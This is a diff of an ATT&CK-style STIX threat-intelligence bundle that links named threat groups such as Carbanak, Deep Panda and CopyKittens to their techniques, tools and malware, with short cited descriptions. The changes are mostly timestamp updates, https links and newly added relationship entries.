+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
@@ -26251,7 +30252,7 @@
             "id": "relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak malware installs itself as a service to provide persistence and SYSTEM privileges.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
@@ -26272,7 +30273,7 @@
             "id": "relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak installs VNC server software that executes through rundll32.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
@@ -26293,7 +30294,7 @@
             "id": "relationship--bbf116bf-6f8a-44f4-9d98-db6ccbbff333",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak malware names itself \"svchost.exe,\" which is the name of the Windows shared service host program.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
@@ -26314,7 +30315,7 @@
             "id": "relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak may use netsh to add local firewall rule exceptions.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
@@ -26335,7 +30336,7 @@
             "id": "relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27",
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             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
@@ -26356,7 +30357,7 @@
             "id": "relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f",
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             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -26369,7 +30370,7 @@
             "id": "relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521",
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             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -26382,7 +30383,7 @@
             "id": "relationship--e2e2d332-f27b-46fb-b48f-4ee1872b321f",
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             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
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             "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
@@ -26395,7 +30396,7 @@
             "id": "relationship--8ab176f0-009f-49e9-ba4b-f476c33697f4",
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             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
             "target_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
@@ -26403,12 +30404,25 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--e9b0af76-f6b1-43b0-ac0e-ea23582f575b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0",
+            "target_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cleaver has been known to dump credentials.",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
@@ -26429,7 +30443,7 @@
             "id": "relationship--49957d89-7449-476a-b542-d7811a86c230",
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             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
@@ -26442,7 +30456,7 @@
             "id": "relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec",
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             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -26455,7 +30469,7 @@
             "id": "relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
@@ -26468,7 +30482,7 @@
             "id": "relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891",
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             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -26476,12 +30490,143 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--f6915cfa-4c11-4830-bcd8-aa648596b895",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens digitally signed an executable with a stolen certificate from legitimate company AI Squared.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--896cd1de-ffa7-4f69-a981-2859cc756601",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2e82ef21-9fb2-421e-bd96-73599089b448",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens uses ZPP, a .NET console program, to compress files with ZIP.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2f68f61d-07e1-4181-a26c-93433f9f0db7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens has used PowerShell Empire.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens encrypts data with a substitute cipher prior to exfiltration.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T18:59:16.545Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--6dbb3a1e-5fb4-4494-950c-570616302ece",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T18:59:16.545Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--d021d378-a5ff-4020-972c-cc9152e824b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel has been known to establish persistence by adding programs to the Run Registry key.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
@@ -26502,7 +30647,7 @@
             "id": "relationship--5bad7b38-36b5-4208-9895-e4a113c511a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel's selective infector modifies executables stored on removable media as a method of spreading across computers.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
@@ -26523,7 +30668,7 @@
             "id": "relationship--37c94531-1e56-4640-93fd-e9fd65da4f80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel uses a sophisticated keylogger.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
@@ -26544,7 +30689,7 @@
             "id": "relationship--27b05a62-5310-40d9-9e49-b4dce3afad55",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel uses a virus that propagates by infecting executables stored on shared drives.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
@@ -26565,7 +30710,7 @@
             "id": "relationship--b69424ec-3af6-44aa-842a-81fba219b9f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel has used code-signing certificates on its malware that are either forged due to weak keys or stolen.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
@@ -26586,7 +30731,7 @@
             "id": "relationship--6fdc3210-9754-4157-b386-8fcd680e732c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has used PowerShell scripts to download and execute programs in memory, without writing to disk.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -26598,7 +30743,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ]
         },
@@ -26607,7 +30752,7 @@
             "id": "relationship--d295beee-439c-44f9-9908-4cb194331de9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Deep Panda group is known to utilize WMI for lateral movement.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -26619,7 +30764,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ]
         },
@@ -26628,7 +30773,7 @@
             "id": "relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda uses Web shells on publicly accessible Web servers to access victim networks.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -26649,9 +30794,9 @@
             "id": "relationship--f43ab4db-5dea-4a1f-977a-f5d779330193",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "Deep Panda uses net.exe to connect to network shares using \"net use\" commands with compromised credentials.",
+            "description": "Deep Panda uses net.exe to connect to network shares using <code>net use</code> commands with compromised credentials.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
             "object_marking_refs": [
@@ -26661,7 +30806,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ]
         },
@@ -26670,7 +30815,7 @@
             "id": "relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda uses the Microsoft Tasklist utility to list processes running on systems.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -26682,7 +30827,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ]
         },
@@ -26691,7 +30836,7 @@
             "id": "relationship--8cbcb17a-01f4-4899-bc83-9b02fd44f861",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has used PowerShell scripts to download and execute programs in memory, without writing to disk.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -26703,7 +30848,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ]
         },
@@ -26712,7 +30857,7 @@
             "id": "relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has updated and modified its malware, resulting in different hash values that evade detection.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -26733,7 +30878,7 @@
             "id": "relationship--4fab8d06-e6fb-472f-91ee-f2fd29ef444e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has used regsvr32.exe to execute a server variant of Derusbi in victim networks.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -26754,7 +30899,7 @@
             "id": "relationship--ab069468-3dff-4c77-9293-adb0b2627a4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -26775,7 +30920,7 @@
             "id": "relationship--2df910df-37cc-4349-96c3-f938fa5a9054",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -26788,7 +30933,7 @@
             "id": "relationship--9d081347-3446-47a4-b5a9-d7a9d2d499e7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
@@ -26801,7 +30946,7 @@
             "id": "relationship--70dc6b5c-c524-429e-a6ab-0dd40f0482c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -26814,7 +30959,7 @@
             "id": "relationship--235fe6f1-66d1-4cf4-adb9-3bc7f081144a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
@@ -26827,7 +30972,7 @@
             "id": "relationship--ba4e03d1-f9b6-442d-974b-2fb7feddb551",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
@@ -26840,7 +30985,7 @@
             "id": "relationship--66a3ab46-abcb-4234-a786-638044cfc50e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
@@ -26853,7 +30998,7 @@
             "id": "relationship--8797579b-e3be-4209-a71b-255a4d08243d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -26866,7 +31011,7 @@
             "id": "relationship--ee2739de-6829-4c73-b72b-91ba4b9fac5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a",
             "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -26874,12 +31019,436 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--926d0b0c-9421-4b8e-a740-8823e35c642f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly has performed screen captures of victims.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Dragonfly",
+                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
